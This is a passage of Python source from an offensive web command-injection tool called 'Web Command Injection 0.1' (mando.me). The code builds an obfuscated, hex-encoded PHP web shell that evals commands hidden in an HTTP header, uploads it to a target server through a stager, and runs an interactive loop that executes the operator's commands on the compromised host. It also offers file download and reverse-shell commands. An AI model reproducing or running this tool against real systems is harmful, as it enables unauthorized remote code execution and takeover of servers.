_gs["payloads"]["smplshll"]["payload"] = "3c3f7068702066756e6374696f6e20{0}2824{2}2c2024{3}2c2024{4}203d2027{5}2729207b2024{6}203d2027273b206966202824{4}20213d3d2027{5}27297b2024{3}203d206261736536345f6465636f64652824{3}293b207d20666f7220282024{7}203d20303b2024{7}203c207374726c656e2824{3}293b2024{7}2b2b29207b2024{8}203d206f7264287375627374722824{3}2c2024{7}29293b206966202824{4}203d3d2027{5}2729207b2024{8}202b3d206f7264287375627374722824{2}2c20282824{7}202b2031292025207374726c656e2824{2}292929293b2024{6}202e3d206368722824{8}20262030784646293b207d20656c7365207b2024{8}202d3d206f7264287375627374722824{2}2c20282824{7}202b2031292025207374726c656e2824{2}292929293b2024{6}202e3d20636872286162732824{8}2920262030784646293b207d207d2069662824{4}203d3d2027{5}2729207b2024{6}203d206261736536345f656e636f64652824{6}293b207d2072657475726e2024{6}3b207d206576616c28{0}28245f5345525645525b22485454505f{1}225d2c2027{9}272c2027{0}2729293b3f3e".format(
|
|
Utility.strToHex(_1),
|
|
Utility.strToHex(_gs["smplshll_main_password_var"]),
|
|
Utility.strToHex(_2),
|
|
Utility.strToHex(_3),
|
|
Utility.strToHex(_4),
|
|
Utility.strToHex(_5),
|
|
Utility.strToHex(_6),
|
|
Utility.strToHex(_7),
|
|
Utility.strToHex(_8),
|
|
Utility.strToHex(_gs["payloads"]["smplshll"]["payload"])
|
|
)
|
|
|
|
stager_upload(_gs["url_stager"], _gs["payloads"]["smplshll"]["payload"], _gs["payloads"]["smplshll"]["path"])
|
|
_gs["url_exec"] = _gs["url"][:_gs["url"].rfind("/") + 1] + _gs["payloads"]["smplshll"]["path"]
|
|
_gs["url"] = _gs["url_exec"]
|
|
return
|
|
|
|
Print.error("System could not be exploited")
|
|
sys.exit(2)
|
|
|
|
def main(argv):
|
|
global _gs, help_notes
|
|
|
|
try:
|
|
opts, args = getopt.getopt(argv, "",
|
|
[
|
|
"help",
|
|
"url=",
|
|
"post=",
|
|
"get=",
|
|
"cookies=",
|
|
])
|
|
except getopt.GetoptError as err:
|
|
print(help_notes)
|
|
print(err)
|
|
sys.exit(2)
|
|
for opt, arg in opts:
|
|
if opt in ("--help"):
|
|
print(help_notes)
|
|
sys.exit()
|
|
elif opt in ("--url"): _gs["url"] = arg
|
|
elif opt in ("--post"): _gs["post"] = arg
|
|
elif opt in ("--get"): _gs["get"] = arg
|
|
elif opt in ("--cookies"): _gs["cookies"] = arg
|
|
|
|
if (not _gs["url"] == ""):
|
|
|
|
try:
|
|
urllib.request.urlopen(_gs["url"]).read()
|
|
except urllib.URLError as e:
|
|
print("\n \033[91mCannot access the interface\033[0m")
|
|
sys.exit(2)
|
|
|
|
## Initialize command injector
|
|
CommandInjector.init()
|
|
|
|
## Set initial global settings
|
|
_gs["working_directory"] = MandoCommand.mc_pwd()
|
|
_gs["initial_path"] = _gs["working_directory"]
|
|
_gs["shell_path"] = _gs["initial_path"] + MandoCommand.separator() + _gs["url"][_gs["url"].rfind("/") + 1:]
|
|
_gs["system"] = Utility.get_os(PHPInteractor.command)
|
|
|
|
Print.text("\033[38;5;160m" + r" _ " + "\033[0m")
|
|
Print.text("\033[38;5;161m" + r" /\/\ __ _ _ __ __| | ___ _ __ ___ ___ " + "\033[0m")
|
|
Print.text("\033[38;5;162m" + r" / \ / _` | '_ \ / _` |/ _ \ | '_ ` _ \ / _ \ " + "\033[0m")
|
|
Print.text("\033[38;5;163m" + r"/ /\/\ \ (_| | | | | (_| | (_) || | | | | | __/ " + "\033[0m")
|
|
Print.text("\033[38;5;164m" + r"\/ \/\__,_|_| |_|\__,_|\___(_)_| |_| |_|\___| " + "\033[0m")
|
|
Print.text("\033[38;5;130m" + r" _ _ _ " + "\033[0m")
|
|
Print.text("\033[38;5;131m" + r" ___| |__ ___| | | " + "\033[0m")
|
|
Print.text("\033[38;5;132m" + r"/ __| '_ \ / _ \ | | Web Command Injection 0.1 " + "\033[0m")
|
|
Print.text("\033[38;5;133m" + r"\__ \ | | | __/ | | Created by z0noxz " + "\033[0m")
|
|
Print.text("\033[38;5;134m" + r"|___/_| |_|\___|_|_| " + "\033[0m")
|
|
MandoCommand.mc_status()
|
|
|
|
local_files = [] # GET LIST OF LOCAL FILES (EXECUTING PATH) FOR UPLOAD
|
|
local_ips = Utility.ip4_addresses()
|
|
|
|
while (True):
|
|
|
|
remote_files = PHPInteractor.command("cd " + _gs["working_directory"] + " && ls -Rp | awk '/:$/&&f{s=$0;f=0}/:$/&&!f{sub(/:$/,\"\");s=$0;f=1;next}NF&&f{ print s\"/\"$0 }' | grep -v '/$'").strip().split("\n")
|
|
|
|
def ssc_complete(text, state):
|
|
|
|
paths = []
|
|
|
|
for cmd in MandoCommand.commands():
|
|
paths.append(cmd)
|
|
|
|
if cmd.startswith(text.split(" ")[0]) and text.split(" ")[0] == cmd:
|
|
if cmd == "download":
|
|
for x in remote_files:
|
|
paths.append(cmd + " " + x)
|
|
elif cmd == "shell":
|
|
for x in local_ips:
|
|
paths.append(cmd + " " + x)
|
|
|
|
for path in paths:
|
|
if path.lower().startswith(text.lower()):
|
|
if not state:
|
|
return path
|
|
else:
|
|
state -= 1
|
|
|
|
## Define autocomplete
|
|
readline.parse_and_bind("tab: complete")
|
|
readline.set_completer(ssc_complete)
|
|
readline.set_completer_delims("")
|
|
|
|
|
|
user_input = input("\033[4mmando.me\033[0m > ").strip()
|
|
|
|
if (not MandoCommand.command(user_input)):
|
|
if _gs["system"] == Utility.os.LINUX:
|
|
output = PHPInteractor.command("cd " + _gs["working_directory"] + " && " + user_input + " && printf \"\n\" && pwd").strip().split("\n")
|
|
elif _gs["system"] == Utility.os.WINDOWS:
|
|
output = PHPInteractor.command("cd " + _gs["working_directory"] + " && " + user_input + " && echo. && echo %cd%").strip().split("\n")
|
|
else:
|
|
output = ""
|
|
|
|
_gs["working_directory"] = Utility.check_working_directory(_gs["working_directory"], output[len(output) - 1])
|
|
for x in (output[:(len(output) - 1) - output[::-1].index("")] if '' in output else output[:len(output) - 1]): Print.text(x)
|
|
#print " " + "\n ".join((output[:(len(output) - 1) - output[::-1].index("")] if '' in output else output[:len(output) - 1]))
|
|
try:
|
|
def handler(signum, frame):
|
|
void = None
|
|
## TODO :: Get the current input and paste message as:
|
|
# ssc > shell[ctrl+c]
|
|
# =>
|
|
# ssc > shellInterrupt: use the 'exit' command to quit
|
|
# ssc > shell
|
|
#print "Interrupt: use the 'exit' command to quit"
|
|
signal.signal(signal.SIGINT, handler)
|
|
signal.signal(signal.SIGTSTP, handler)
|
|
|
|
if __name__ == "__main__": main(sys.argv[1:])
|
|
except Exception as err:
|
|
import traceback
|
|
|
|
print("")
|
|
Print.error("Something went wrong. Terminating program.")
|
|
print("")
|
|
print("\033[91m")
|
|
print(traceback.print_exc(file=sys.stdout))
|
|
print("\033[0m")
|
|
|
|
MandoCommand.mc_exit(None)
|
|
|